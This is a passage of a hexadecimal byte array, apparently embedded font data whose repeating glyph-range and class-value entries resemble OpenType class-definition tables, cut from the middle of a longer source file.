0x1C, 0x80, 0x27, + 0x80, 0x27, 0x00, 0x1C, 0x80, 0x28, 0x80, 0x28, + 0x00, 0x46, 0x80, 0x29, 0x80, 0x29, 0x00, 0x1E, + 0x80, 0x2A, 0x80, 0x2A, 0x00, 0x46, 0x80, 0x2B, + 0x80, 0x2B, 0x00, 0x1E, 0x80, 0x2C, 0x80, 0x2C, + 0x00, 0x46, 0x80, 0x2D, 0x80, 0x2D, 0x00, 0x1E, + 0x80, 0x2E, 0x80, 0x2E, 0x00, 0x46, 0x80, 0x2F, + 0x80, 0x2F, 0x00, 0x48, 0x80, 0x30, 0x80, 0x30, + 0x00, 0x20, 0x80, 0x32, 0x80, 0x32, 0x00, 0x46, + 0x80, 0x33, 0x80, 0x33, 0x00, 0x48, 0x80, 0x34, + 0x80, 0x34, 0x00, 0x46, 0x80, 0x35, 0x80, 0x35, + 0x00, 0x48, 0x80, 0x36, 0x80, 0x36, 0x00, 0x46, + 0x80, 0x37, 0x80, 0x37, 0x00, 0x48, 0x80, 0x38, + 0x80, 0x38, 0x00, 0x46, 0x80, 0x39, 0x80, 0x39, + 0x00, 0x48, 0x80, 0x3A, 0x80, 0x3A, 0x00, 0x46, + 0x80, 0x3B, 0x80, 0x3B, 0x00, 0x48, 0x80, 0x3C, + 0x80, 0x3C, 0x00, 0x46, 0x80, 0x3D, 0x80, 0x3D, + 0x00, 0x48, 0x80, 0x3E, 0x80, 0x3E, 0x00, 0x46, + 0x80, 0x3F, 0x80, 0x3F, 0x00, 0x48, 0x80, 0x40, + 0x80, 0x40, 0x00, 0x46, 0x80, 0x41, 0x80, 0x41, + 0x00, 0x48, 0x80, 0x42, 0x80, 0x42, 0x00, 0x46, + 0x80, 0x43, 0x80, 0x43, 0x00, 0x48, 0x80, 0x44, + 0x80, 0x44, 0x00, 0x20, 0x80, 0x45, 0x80, 0x45, + 0x00, 0x22, 0x80, 0x46, 0x80, 0x46, 0x00, 0x20, + 0x80, 0x47, 0x80, 0x47, 0x00, 0x22, 0x80, 0x48, + 0x80, 0x48, 0x00, 0x25, 0x80, 0x49, 0x80, 0x49, + 0x00, 0x24, 0x80, 0x4A, 0x80, 0x4A, 0x00, 0x26, + 0x80, 0x4B, 0x80, 0x4B, 0x00, 0x24, 0x80, 0x4C, + 0x80, 0x4C, 0x00, 0x26, 0x80, 0x4D, 0x80, 0x4D, + 0x00, 0x27, 0x80, 0x4E, 0x80, 0x4E, 0x00, 0x29, + 0x80, 0x4F, 0x80, 0x4F, 0x00, 0x27, 0x80, 0x50, + 0x80, 0x50, 0x00, 0x29, 0x80, 0x51, 0x80, 0x51, + 0x00, 0x27, 0x80, 0x52, 0x80, 0x52, 0x00, 0x29, + 0x80, 0x53, 0x80, 0x53, 0x00, 0x27, 0x80, 0x54, + 0x80, 0x54, 0x00, 0x29, 0x80, 0x55, 0x80, 0x55, + 0x00, 0x27, 0x80, 0x56, 0x80, 0x56, 0x00, 0x29, + 0x80, 0x57, 0x80, 0x57, 0x00, 0x27, 0x80, 0x58, + 0x80, 0x58, 0x00, 0x2A, 0x80, 0x59, 0x80, 0x59, + 0x00, 0x2C, 0x80, 0x5A, 0x80, 0x5A, 0x00, 0x46, + 0x80, 0x5B, 0x80, 0x5B, 0x00, 0x30, 0x80, 0x5C, + 0x80, 0x5C, 0x00, 0x46, 0x80, 0x5D, 0x80, 0x5D, + 0x00, 0x30, 0x80, 0x5E, 0x80, 0x5E, 0x00, 0x46, + 0x80, 0x5F, 0x80, 0x5F, 0x00, 0x30, 0x80, 0x60, + 0x80, 0x60, 0x00, 0x46, 0x80, 0x61, 0x80, 0x61, + 0x00, 0x30, 0x80, 0x62, 0x80, 0x62, 0x00, 0x46, + 0x80, 0x63, 0x80, 0x63, 0x00, 0x30, 0x80, 0x64, + 0x80, 0x64, 0x00, 0x3B, 0x80, 0x65, 0x80, 0x65, + 0x00, 0x3D, 0x80, 0x66, 0x80, 0x66, 0x00, 0x0F, + 0x80, 0x67, 0x80, 0x67, 0x00, 0x3B, 0x80, 0x68, + 0x80, 0x68, 0x00, 0x3D, 0x80, 0x69, 0x80, 0x69, + 0x00, 0x3B, 0x80, 0x6A, 0x80, 0x6A, 0x00, 0x3D, + 0x80, 0x6B, 0x80, 0x6B, 0x00, 0x3B, 0x80, 0x6C, + 0x80, 0x6C, 0x00, 0x3D, 0x80, 0x6D, 0x80, 0x6D, + 0x00, 0x3B, 0x80, 0x6E, 0x80, 0x6E, 0x00, 0x3D, + 0x80, 0x6F, 0x80, 0x6F, 0x00, 0x3B, 0x80, 0x70, + 0x80, 0x70, 0x00, 0x3D, 0x80, 0x71, 0x80, 0x71, + 0x00, 0x3B, 0x80, 0x72, 0x80, 0x72, 0x00, 0x3D, + 0x80, 0x73, 0x80, 0x73, 0x00, 0x3B, 0x80, 0x74, + 0x80, 0x74, 0x00, 0x3D, 0x80, 0x75, 0x80, 0x75, + 0x00, 0x3B, 0x80, 0x76, 0x80, 0x76, 0x00, 0x3D, + 0x80, 0x77, 0x80, 0x77, 0x00, 0x3B, 0x80, 0x78, + 0x80, 0x78, 0x00, 0x3D, 0x80, 0x79, 0x80, 0x79, + 0x00, 0x3B, 0x80, 0x7A, 0x80, 0x7A, 0x00, 0x3D, + 0x80, 0x7B, 0x80, 0x7B, 0x00, 0x35, 0x80, 0x7C, + 0x80, 0x7C, 0x00, 0x37, 0x80, 0x7D, 0x80, 0x7D, + 0x00, 0x3B, 0x80, 0x7E, 0x80, 0x7E, 0x00, 0x3D, + 0x80, 0x7F, 0x80, 0x7F, 0x00, 0x40, 0x80, 0x80, + 0x80, 0x80, 0x00, 0x3F, 0x80, 0x81, 0x80, 0x81, + 0x00, 0x41, 0x80, 0x82, 0x80, 0x82, 0x00, 0x3F, + 0x80, 0x83, 0x80, 0x83, 0x00, 0x41, 0x80, 0x84, + 0x80, 0x84, 0x00, 0x3F, 0x80, 0x85, 0x80, 0x85, + 0x00, 0x41, 0x80, 0x86, 0x80, 0x86, 0x00, 0x3F, + 0x80, 0x87, 0x80, 0x87, 0x00, 0x41, 0x80, 0x89, + 0x80, 0x89, 0x00, 0x4A, 0x80, 0x8A, 0x80, 0x8A, + 0x00, 0x4C, 0x80, 0x8B, 0x80, 0x8B, 0x00, 0x4A, + 0x80, 0x8C, 0x80, 0x8C, 0x00, 0x4C, 0x80, 0x8D, + 0x80, 0x8D, 0x00, 0x4A, 0x80, 0x8E, 0x80, 0x8E, + 0x00, 0x4C, 0x80, 0x8F, 0x80, 0x8F, 0x00, 0x4A, + 0x80, 0x90, 0x80, 0x90, 0x00, 0x4C, 0x80, 0x91, + 0x80, 0x91, 0x00, 0x52, 0x80, 0x92, 0x80, 0x92, + 0x00, 0x54, 0x80, 0x93, 0x80, 0x93, 0x00, 0x1D, + 0x80, 0x95, 0x80, 0x95, 0x00, 0x1D, 0x80, 0x97, + 0x80, 0x98, 0x00, 0x1D, 0x80, 0x9A, 0x80, 0x9A, + 0x00, 0x54, 0x80, 0x9B, 0x80, 0x9B, 0x00, 0x52, + 0x80, 0x9C, 0x80, 0x9C, 0x00, 0x54, 0x80, 0x9D, + 0x80, 0x9D, 0x00, 0x52, 0x80, 0x9E, 0x80, 0x9E, + 0x00, 0x54, 0x80, 0xA0, 0x80, 0xA0, 0x00, 0x55, + 0x80, 0xA1, 0x80, 0xA1, 0x00, 0x57, 0x80, 0xA2, + 0x80, 0xA2, 0x00, 0x55, 0x80, 0xA3, 0x80, 0xA3, + 0x00, 0x57, 0x80, 0xA4, 0x80, 0xA4, 0x00, 0x55, + 0x80, 0xA5, 0x80, 0xA5, 0x00, 0x57, 0x80, 0xA6, + 0x80, 0xA6, 0x00, 0x55, 0x80, 0xA7, 0x80, 0xA7, + 0x00, 0x57, 0x80, 0xA8, 0x80, 0xA8, 0x00, 0x55, + 0x80, 0xA9, 0x80, 0xA9, 0x00, 0x57, 0x80, 0xAA, + 0x80, 0xAA, 0x00, 0x55, 0x80, 0xAB, 0x80, 0xAB, + 0x00, 0x57, 0x80, 0xAC, 0x80, 0xAC, 0x00, 0x55, + 0x80, 0xAD, 0x80, 0xAD, 0x00, 0x57, 0x80, 0xAE, + 0x80, 0xAE, 0x00, 0x55, 0x80, 0xAF, 0x80, 0xAF, + 0x00, 0x57, 0x80, 0xB0, 0x80, 0xB0, 0x00, 0x55, + 0x80, 0xB1, 0x80, 0xB1, 0x00, 0x57, 0x80, 0xB2, + 0x80, 0xB2, 0x00, 0x55, 0x80, 0xB3, 0x80, 0xB3, + 0x00, 0x57, 0x80, 0xB4, 0x80, 0xB4, 0x00, 0x55, + 0x80, 0xB5, 0x80, 0xB5, 0x00, 0x57, 0x80, 0xB6, + 0x80, 0xB6, 0x00, 0x59, 0x80, 0xB7, 0x80, 0xB7, + 0x00, 0x5B, 0x80, 0xB8, 0x80, 0xB8, 0x00, 0x59, + 0x80, 0xB9, 0x80, 0xB9, 0x00, 0x5B, 0x80, 0xBA, + 0x80, 0xBA, 0x00, 0x59, 0x80, 0xBB, 0x80, 0xBB, + 0x00, 0x5B, 0x80, 0xBC, 0x80, 0xBC, 0x00, 0x59, + 0x80, 0xBD, 0x80, 0xBD, 0x00, 0x5B, 0x80, 0xBE, + 0x80, 0xBE, 0x00, 0x59, 0x80, 0xBF, 0x80, 0xBF, + 0x00, 0x5B, 0x80, 0xC0, 0x80, 0xC0, 0x00, 0x59, + 0x80, 0xC1, 0x80, 0xC1, 0x00, 0x5B, 0x80, 0xC2, + 0x80, 0xC2, 0x00, 0x5D, 0x80, 0xC3, 0x80, 0xC3, + 0x00, 0x5F, 0x80, 0xC4, 0x80, 0xC4, 0x00, 0x60, + 0x80, 0xC5, 0x80, 0xC5, 0x00, 0x62, 0x80, 0xC6, + 0x80, 0xC6, 0x00, 0x60, 0x80, 0xC7, 0x80, 0xC7, + 0x00, 0x62, 0x80, 0xC8, 0x80, 0xC8, 0x00, 0x60, + 0x80, 0xC9, 0x80, 0xC9, 0x00, 0x62, 0x80, 0xCA, + 0x80, 0xCA, 0x00, 0x60, 0x80, 0xCB, 0x80, 0xCB, + 0x00, 0x62, 0x80, 0xCC, 0x80, 0xCC, 0x00, 0x60, + 0x80, 0xCD, 0x80, 0xCD, 0x00, 0x62, 0x80, 0xCE, + 0x80, 0xCE, 0x00, 0x66, 0x80, 0xCF, 0x80, 0xCF, + 0x00, 0x68, 0x80, 0xD0, 0x80, 0xD0, 0x00, 0x66, + 0x80, 0xD1, 0x80, 0xD1, 0x00, 0x68, 0x80, 0xD2, + 0x80, 0xD2, 0x00, 0x66, 0x80, 0xD3, 0x80, 0xD3, + 0x00, 0x68, 0x80, 0xD4, 0x80, 0xD4, 0x00, 0x66, + 0x80, 0xD5, 0x80, 0xD5, 0x00, 0x68, 0x80, 0xD7, + 0x80, 0xD7, 0x00, 0x1D, 0x80, 0xD8, 0x80, 0xD8, + 0x00, 0x23, 0x80, 0xD9, 0x80, 0xD9, 0x00, 0x51, + 0x80, 0xE0, 0x80, 0xE0, 0x00, 0x46, 0x80, 0xE4, + 0x80, 0xE5, 0x00, 0x3A, 0x80, 0xE6, 0x80, 0xE6, + 0x00, 0x1D, 0x80, 0xE7, 0x80, 0xE7, 0x00, 0x1F, + 0x80, 0xE8, 0x80, 0xE8, 0x00, 0x23, 0x80, 0xE9, + 0x80, 0xE9, 0x00, 0x51, 0x80, 0xEA, 0x80, 0xEA, + 0x00, 0x1D, 0x80, 0xEC, 0x80, 0xEC, 0x00, 0x1F, + 0x80, 0xED, 0x80, 0xED, 0x00, 0x23, 0x80, 0xEF, + 0x80, 0xEF, 0x00, 0x51, 0x80, 0xF6, 0x80, 0xF6, + 0x00, 0x4A, 0x80, 0xF7, 0x80, 0xF7, 0x00, 0x23, + 0x80, 0xFB, 0x80, 0xFB, 0x00, 0x3A, 0x80, 0xFC, + 0x80, 0xFC, 0x00, 0x1D, 0x80, 0xFD, 0x80, 0xFD, + 0x00, 0x0B, 0x80, 0xFE, 0x80, 0xFE, 0x00, 0x23, + 0x80, 0xFF, 0x80, 0xFF, 0x00, 0x0B, 0x81, 0x00, + 0x81, 0x00, 0x00, 0x16, 0x81, 0x01, 0x81, 0x02, + 0x00, 0x0B, 0x81, 0x2D, 0x81, 0x2D, 0x00, 0x3A, + 0x81, 0x30, 0x81, 0x30, 0x00, 0x4A, 0x81, 0x31, + 0x81, 0x31, 0x00, 0x4C, 0x81, 0x32, 0x81, 0x32, + 0x00, 0x4A, 0x81, 0x33, 0x81, 0x33, 0x00, 0x4C, + 0x81, 0x74, 0x81, 0x77, 0x00, 0x01, 0x81, 0xD8, + 0x81, 0xDF, 0x00, 0x01, 0x81, 0xE0, 0x81, 0xE7, + 0x00, 0x0F, 0x81, 0xE8, 0x81, 0xE9, 0x00, 0x46, + 0x81, 0xEA, 0x81, 0xF0, 0x00, 0x3B, 0x81, 0xF7, + 0x81, 0xF8, 0x00, 0x55, 0x81, 0xFF, 0x81, 0xFF, + 0x00, 0x60, 0x82, 0x01, 0x82, 0x02, 0x00, 0x60, + 0x82, 0x03, 0x82, 0x0E, 0x00, 0x01, 0x82, 0x0F, + 0x82, 0x16, 0x00, 0x0F, 0x82, 0x17, 0x82, 0x18, + 0x00, 0x46, 0x82, 0x19, 0x82, 0x1F, 0x00, 0x3B, + 0x82, 0x26, 0x82, 0x27, 0x00, 0x55, 0x82, 0x2E, + 0x82, 0x30, 0x00, 0x60, 0x82, 0x53, 0x82, 0x5E, + 0x00, 0x03, 0x82, 0x5F, 0x82, 0x66, 0x00, 0x11, + 0x82, 0x67, 0x82, 0x68, 0x00, 0x48, 0x82, 0x69, + 0x82, 0x6F, 0x00, 0x3D, 0x82, 0x75, 0x82, 0x76, + 0x00, 0x57, 0x82, 0xDC, 0x82, 0xDE, 0x00, 0x62, + 0x82, 0xE2, 0x82, 0xE2, 0x00, 0x01, 0x82, 0xE4, + 0x82, 0xE4, 0x00, 0x2B, 0x82, 0xE5, 0x82, 0xE5, + 0x00, 0x2A, 0x82, 0xE6, 0x82, 0xE6, 0x00, 0x1D, + 0x82, 0xE7, 0x82, 0xE7, 0x00, 0x2A, 0x82, 0xE8, + 0x82, 0xE8, 0x00, 0x2F, 0x82, 0xE9, 0x82, 0xE9, + 0x00, 0x46, 0x82, 0xEA, 0x82, 0xEA, 0x00, 0x1D, + 0x82, 0xEB, 0x82, 0xEB, 0x00, 0x46, 0x82, 0xEC, + 0x82, 0xED, 0x00, 0x60, 0x82, 0xEE, 0x82, 0xEE, + 0x00, 0x1B, 0x82, 0xF0, 0x82, 0xF0, 0x00, 0x1A, + 0x96, 0x11, 0x96, 0x11, 0x00, 0x63, 0x96, 0x12, + 0x96, 0x12, 0x00, 0x4F, 0x96, 0x13, 0x96, 0x13, + 0x00, 0x4D, 0x96, 0x14, 0x96, 0x14, 0x00, 0x14, + 0x96, 0x15, 0x96, 0x15, 0x00, 0x12, 0x96, 0x16, + 0x96, 0x16, 0x00, 0x44, 0x96, 0x17, 0x96, 0x17, + 0x00, 0x42, 0x96, 0x18, 0x96, 0x18, 0x00, 0x0C, + 0x96, 0x19, 0x96, 0x19, 0x00, 0x2D, 0x96, 0x45, + 0x96, 0x47, 0x00, 0x01, 0x96, 0x48, 0x96, 0x48, + 0x00, 0x0F, 0x96, 0x49, 0x96, 0x4C, 0x00, 0x08, + 0x96, 0x4D, 0x96, 0x4E, 0x00, 0x3B, 0x96, 0x4F, + 0x96, 0x52, 0x00, 0x0F, 0x96, 0x53, 0x96, 0x53, + 0x00, 0x46, 0x96, 0x54, 0x96, 0x54, 0x00, 0x0F, + 0x96, 0x59, 0x96, 0x5B, 0x00, 0x46, 0x96, 0x5C, + 0x96, 0x5C, 0x00, 0x20, 0x96, 0x5D, 0x96, 0x5F, + 0x00, 0x46, 0x96, 0x60, 0x96, 0x60, 0x00, 0x20, + 0x96, 0x61, 0x96, 0x61, 0x00, 0x24, 0x96, 0x62, + 0x96, 0x65, 0x00, 0x27, 0x96, 0x66, 0x96, 0x68, + 0x00, 0x46, 0x96, 0x69, 0x96, 0x6C, 0x00, 0x3B, + 0x96, 0x6D, 0x96, 0x6F, 0x00, 0x3F, 0x96, 0x70, + 0x96, 0x73, 0x00, 0x4A, 0x96, 0x75, 0x96, 0x76, + 0x00, 0x52, 0x96, 0x77, 0x96, 0x7C, 0x00, 0x55, + 0x96, 0x7D, 0x96, 0x80, 0x00, 0x59, 0x96, 0x81, + 0x96, 0x82, 0x00, 0x60, 0x96, 0x83, 0x96, 0x84, + 0x00, 0x66, 0x96, 0x85, 0x96, 0x85, 0x00, 0x46, + 0x96, 0x86, 0x96, 0x86, 0x00, 0x33, 0x96, 0x88, + 0x96, 0x88, 0x00, 0x33, 0x96, 0x8A, 0x96, 0x8A, + 0x00, 0x33, 0x96, 0x99, 0x96, 0x99, 0x00, 0x4A, + 0x96, 0x9A, 0x96, 0x9A, 0x00, 0x49, 0x96, 0xB4, + 0x96, 0xB4, 0x00, 0x31, 0x96, 0xD1, 0x96, 0xD1, + 0x00, 0x27, 0x96, 0xD2, 0x96, 0xD2, 0x00, 0x0F, + 0x96, 0xD5, 0x96, 0xD5, 0x00, 0x4A, 0x96, 0xD7, + 0x96, 0xD7, 0x00, 0x66, 0x97, 0x08, 0x97, 0x08, + 0x00, 0x64, 0x97, 0x09, 0x97, 0x09, 0x00, 0x32, + 0x97, 0x0A, 0x97, 0x0A, 0x00, 0x50, 0x97, 0x0B, + 0x97, 0x0B, 0x00, 0x4E, 0x97, 0x0C, 0x97, 0x0C, + 0x00, 0x15, 0x97, 0x0D, 0x97, 0x0D, 0x00, 0x13, + 0x97, 0x0E, 0x97, 0x0E, 0x00, 0x45, 0x97, 0x0F, + 0x97, 0x0F, 0x00, 0x43, 0x97, 0x10, 0x97, 0x10, + 0x00, 0x0D, 0x97, 0x11, 0x97, 0x11, 0x00, 0x2E, + 0x97, 0x39, 0x97, 0x39, 0x00, 0x01, 0x97, 0x3A, + 0x97, 0x3A, 0x00, 0x04, 0x97, 0x3B, 0x97, 0x3B, + 0x00, 0x08, 0x97, 0x3C, 0x97, 0x3C, 0x00, 0x3B, + 0x97, 0x3D, 0x97, 0x3D, 0x00, 0x0F, 0x97, 0x3E, + 0x97, 0x3E, 0x00, 0x17, 0x97, 0x40, 0x97, 0x41, + 0x00, 0x46, 0x97, 0x42, 0x97, 0x42, 0x00, 0x20, + 0x97, 0x43, 0x97, 0x43, 0x00, 0x24, 0x97, 0x44, + 0x97, 0x44, 0x00, 0x27, 0x97, 0x45, 0x97, 0x45, + 0x00, 0x2A, 0x97, 0x46, 0x97, 0x46, 0x00, 0x46, + 0x97, 0x47, 0x97, 0x47, 0x00, 0x3B, 0x97, 0x48, + 0x97, 0x48, 0x00, 0x35, 0x97, 0x49, 0x97, 0x49, + 0x00, 0x3B, 0x97, 0x4A, 0x97, 0x4A, 0x00, 0x3F, + 0x97, 0x4B, 0x97, 0x4B, 0x00, 0x4A, 0x97, 0x4C, + 0x97, 0x4C, 0x00, 0x52, 0x97, 0x4D, 0x97, 0x4D, + 0x00, 0x55, 0x97, 0x4E, 0x97, 0x4F, 0x00, 0x59, + 0x97, 0x50, 0x97, 0x50, 0x00, 0x5D, 0x97, 0x51, + 0x97, 0x51, 0x00, 0x60, 0x97, 0x52, 0x97, 0x52, + 0x00, 0x66, 0x97, 0xB8, 0x97, 0xBD, 0x00, 0x01, + 0x97, 0xBE, 0x97, 0xBE, 0x00, 0x0F, 0x97, 0xBF, + 0x97, 0xBF, 0x00, 0x08, 0x97, 0xC0, 0x97, 0xC3, + 0x00, 0x0F, 0x97, 0xC4, 0x97, 0xC7, 0x00, 0x46, + 0x97, 0xC8, 0x97, 0xC8, 0x00, 0x3B, 0x97, 0xC9, + 0x97, 0xC9, 0x00, 0x46, 0x97, 0xCA, 0x97, 0xCE, + 0x00, 0x3B, 0x97, 0xD0, 0x97, 0xD0, 0x00, 0x3B, + 0x97, 0xD1, 0x97, 0xD4, 0x00, 0x55, 0x97, 0xD5, + 0x97, 0xD5, 0x00, 0x60, 0x97, 0xD7, 0x97, 0xD7, + 0x00, 0x60, 0x9A, 0xD8, 0x9A, 0xD8, 0x00, 0x16, + 0x9A, 0xD9, 0x9A, 0xDA, 0x00, 0x0B, 0x9A, 0xDC, + 0x9A, 0xDC, 0x00, 0x0B, 0x9A, 0xDD, 0x9A, 0xDE, + 0x00, 0x51, 0x00, 0x02, 0x02, 0x23, 0x00, 0x12, + 0x00, 0x12, 0x00, 0x4D, 0x00, 0x13, 0x00, 0x13, + 0x00, 0x3A, 0x00, 0x18, 0x00, 0x18, 0x00, 0x3A, + 0x00, 0x1A, 0x00, 0x1A, 0x00, 0x39, 0x00, 0x1D, + 0x00, 0x1D, 0x00, 0x22, 0x00, 0x1E, 0x00, 0x1E, + 0x00, 0x13, 0x00, 0x1F, 0x00, 0x1F, 0x00, 0x22, + 0x00, 0x2B, 0x00, 0x2C, 0x00, 0x3B, 0x00, 0x30, + 0x00, 0x30, 0x00, 0x4E, 0x00, 0x32, 0x00, 0x32, + 0x00, 0x23, 0x00, 0x33, 0x00, 0x33, 0x00, 0x3F, + 0x00, 0x34, 0x00, 0x34, 0x00, 0x17, 0x00, 0x35, + 0x00, 0x37, 0x00, 0x3F, 0x00, 0x38, 0x00, 0x38, + 0x00, 0x17, 0x00, 0x39, 0x00, 0x3A, 0x00, 0x3F, + 0x00, 0x3B, 0x00, 0x3B, 0x00, 0x14, 0x00, 0x3C, + 0x00, 0x3D, 0x00, 0x3F, 0x00, 0x3E, 0x00, 0x3E, + 0x00, 0x42, 0x00, 0x3F, 0x00, 0x3F, 0x00, 0x3F, + 0x00, 0x40, 0x00, 0x40, 0x00, 0x17, 0x00, 0x41, + 0x00, 0x41, 0x00, 0x3F, 0x00, 0x42, 0x00, 0x42, + 0x00, 0x17, 0x00, 0x43, 0x00, 0x43, 0x00, 0x3F, + 0x00, 0x44, 0x00, 0x44, 0x00, 0x18, 0x00, 0x45, + 0x00, 0x45, 0x00, 0x19, 0x00, 0x46, 0x00, 0x46, + 0x00, 0x1A, 0x00, 0x47, 0x00, 0x48, 0x00, 0x1B, + 0x00, 0x49, 0x00, 0x49, 0x00, 0x1E, 0x00, 0x4A, + 0x00, 0x4A, 0x00, 0x1F, 0x00, 0x4B, 0x00, 0x4B, + 0x00, 0x49, 0x00, 0x4E, 0x00, 0x4E, 0x00, 0x39, + 0x00, 0x52, 0x00, 0x52, 0x00, 0x16, 0x00, 0x53, + 0x00, 0x53, 0x00, 0x01, 0x00, 0x54, 0x00, 0x56, + 0x00, 0x16, 0x00, 0x57, 0x00, 0x57, 0x00, 0x02, + 0x00, 0x58, 0x00, 0x58, 0x00, 0x03, 0x00, 0x59, + 0x00, 0x59, 0x00, 0x04, 0x00, 0x5A, 0x00, 0x5B, + 0x00, 0x05, 0x00, 0x5C, 0x00, 0x5D, 0x00, 0x04, + 0x00, 0x5E, 0x00, 0x5F, 0x00, 0x05, 0x00, 0x60, + 0x00, 0x60, 0x00, 0x16, 0x00, 0x61, 0x00, 0x61, + 0x00, 0x06, 0x00, 0x62, 0x00, 0x62, 0x00, 0x16, + 0x00, 0x63, 0x00, 0x63, 0x00, 0x05, 0x00, 0x64, + 0x00, 0x64, 0x00, 0x08, 0x00, 0x65, 0x00, 0x65, + 0x00, 0x09, 0x00, 0x66, 0x00, 0x66, 0x00, 0x05, + 0x00, 0x67, 0x00, 0x68, 0x00, 0x0A, 0x00, 0x69, + 0x00, 0x69, 0x00, 0x1C, 0x00, 0x6A, 0x00, 0x6A, + 0x00, 0x0A, 0x00, 0x6B, 0x00, 0x6B, 0x00, 0x20, + 0x00, 0x6E, 0x00, 0x6E, 0x00, 0x39, 0x00, 0x92, + 0x00, 0x92, 0x00, 0x4D, 0x00, 0x9E, 0x00, 0x9E, + 0x00, 0x13, 0x00, 0xB0, 0x00, 0xB0, 0x00, 0x4F, + 0x00, 0xB1, 0x00, 0xB7, 0x00, 0x23, 0x00, 0xB8, + 0x00, 0xB8, 0x00, 0x17, 0x00, 0xB9, 0x00, 0xC0, + 0x00, 0x3F, 0x00, 0xC2, 0x00, 0xC2, 0x00, 0x3F, + 0x00, 0xC3, 0x00, 0xC7, 0x00, 0x17, 0x00, 0xC9, + 0x00, 0xC9, 0x00, 0x17, 0x00, 0xCA, 0x00, 0xCD, + 0x00, 0x1A, 0x00, 0xCE, 0x00, 0xCE, 0x00, 0x1F, + 0x00, 0xCF, 0x00, 0xCF, 0x00, 0x3F, 0x00, 0xD0, + 0x00, 0xD0, 0x00, 0x02, 0x00, 0xD1, 0x00, 0xDC, + 0x00, 0x16, 0x00, 0xDD, 0x00, 0xE0, 0x00, 0x05, + 0x00, 0xE1, 0x00, 0xE1, 0x00, 0x16, 0x00, 0xE2, + 0x00, 0xE2, 0x00, 0x05, 0x00, 0xE3, 0x00, 0xE7, + 0x00, 0x16, 0x00, 0xE9, 0x00, 0xE9, 0x00, 0x16, + 0x00, 0xEA, 0x00, 0xED, 0x00, 0x05, 0x00, 0xEE, + 0x00, 0xEE, 0x00, 0x0A, 0x00, 0xEF, 0x00, 0xEF, + 0x00, 0x04, 0x00, 0xF0, 0x00, 0xF0, 0x00, 0x0A, + 0x00, 0xF1, 0x00, 0xF1, 0x00, 0x23, 0x00, 0xF2, + 0x00, 0xF2, 0x00, 0x16, 0x00, 0xF3, 0x00, 0xF3, + 0x00, 0x23, 0x00, 0xF4, 0x00, 0xF4, 0x00, 0x16, + 0x00, 0xF5, 0x00, 0xF5, 0x00, 0x23, 0x00, 0xF6, + 0x00, 0xF6, 0x00, 0x16, 0x00, 0xF7, 0x00, 0xF7, + 0x00, 0x17, 0x00, 0xF8, 0x00, 0xF8, 0x00, 0x16, + 0x00, 0xF9, 0x00, 0xF9, 0x00, 0x17, 0x00, 0xFA, + 0x00, 0xFA, 0x00, 0x16, 0x00, 0xFB, 0x00, 0xFB, + 0x00, 0x17, 0x00, 0xFC, 0x00, 0xFC, 0x00, 0x16, + 0x00, 0xFD, 0x00, 0xFD, 0x00, 0x17, 0x00, 0xFE, + 0x00, 0xFE, 0x00, 0x16, 0x00, 0xFF, 0x00, 0xFF, + 0x00, 0x3F, 0x01, 0x00, 0x01, 0x00, 0x00, 0x16, + 0x01, 0x02, 0x01, 0x02, 0x00, 0x16, 0x01, 0x03, + 0x01, 0x03, 0x00, 0x3F, 0x01, 0x04, 0x01, 0x04, + 0x00, 0x16, 0x01, 0x05, 0x01, 0x05, 0x00, 0x3F, + 0x01, 0x06, 0x01, 0x06, 0x00, 0x16, 0x01, 0x07, + 0x01, 0x07, 0x00, 0x3F, 0x01, 0x08, 0x01, 0x08, + 0x00, 0x16, 0x01, 0x09, 0x01, 0x09, 0x00, 0x3F, + 0x01, 0x0A, 0x01, 0x0A, 0x00, 0x16, 0x01, 0x0B, + 0x01, 0x0B, 0x00, 0x3F, 0x01, 0x0C, 0x01, 0x0C, + 0x00, 0x16, 0x01, 0x0D, 0x01, 0x0D, 0x00, 0x17, + 0x01, 0x0E, 0x01, 0x0E, 0x00, 0x03, 0x01, 0x0F, + 0x01, 0x0F, 0x00, 0x17, 0x01, 0x10, 0x01, 0x10, + 0x00, 0x03, 0x01, 0x11, 0x01, 0x11, 0x00, 0x17, + 0x01, 0x12, 0x01, 0x12, 0x00, 0x03, 0x01, 0x13, + 0x01, 0x13, 0x00, 0x17, 0x01, 0x14, 0x01, 0x14, + 0x00, 0x03, 0x01, 0x15, 0x01, 0x15, 0x00, 0x3F, + 0x01, 0x16, 0x01, 0x16, 0x00, 0x04, 0x01, 0x17, + 0x01, 0x17, 0x00, 0x3F, 0x01, 0x18, 0x01, 0x18, + 0x00, 0x04, 0x01, 0x19, 0x01, 0x19, 0x00, 0x3F, + 0x01, 0x1A, 0x01, 0x1A, 0x00, 0x05, 0x01, 0x1B, + 0x01, 0x1B, 0x00, 0x3F, 0x01, 0x1C, 0x01, 0x1C, + 0x00, 0x05, 0x01, 0x1D, 0x01, 0x1D, 0x00, 0x3F, + 0x01, 0x1E, 0x01, 0x1E, 0x00, 0x05, 0x01, 0x1F, + 0x01, 0x1F, 0x00, 0x3F, 0x01, 0x20, 0x01, 0x20, + 0x00, 0x05, 0x01, 0x21, 0x01, 0x21, 0x00, 0x3F, + 0x01, 0x22, 0x01, 0x22, 0x00, 0x05, 0x01, 0x23, + 0x01, 0x23, 0x00, 0x3F, 0x01, 0x25, 0x01, 0x25, + 0x00, 0x14, 0x01, 0x26, 0x01, 0x26, 0x00, 0x05, + 0x01, 0x27, 0x01, 0x27, 0x00, 0x3F, 0x01, 0x28, + 0x01, 0x28, 0x00, 0x04, 0x01, 0x2A, 0x01, 0x2A, + 0x00, 0x3F, 0x01, 0x2B, 0x01, 0x2B, 0x00, 0x04, + 0x01, 0x2C, 0x01, 0x2C, 0x00, 0x3F, 0x01, 0x2D, + 0x01, 0x2D, 0x00, 0x04, 0x01, 0x2E, 0x01, 0x2E, + 0x00, 0x3F, 0x01, 0x2F, 0x01, 0x2F, 0x00, 0x04, + 0x01, 0x30, 0x01, 0x30, 0x00, 0x3F, 0x01, 0x31, + 0x01, 0x31, 0x00, 0x04, 0x01, 0x34, 0x01, 0x34, + 0x00, 0x3F, 0x01, 0x35, 0x01, 0x35, 0x00, 0x05, + 0x01, 0x36, 0x01, 0x36, 0x00, 0x3F, 0x01, 0x37, + 0x01, 0x37, 0x00, 0x05, 0x01, 0x38, 0x01, 0x38, + 0x00, 0x3F, 0x01, 0x39, 0x01, 0x39, 0x00, 0x05, + 0x01, 0x3B, 0x01, 0x3B, 0x00, 0x3F, 0x01, 0x3C, + 0x01, 0x3C, 0x00, 0x05, 0x01, 0x3D, 0x01, 0x3D, + 0x00, 0x17, 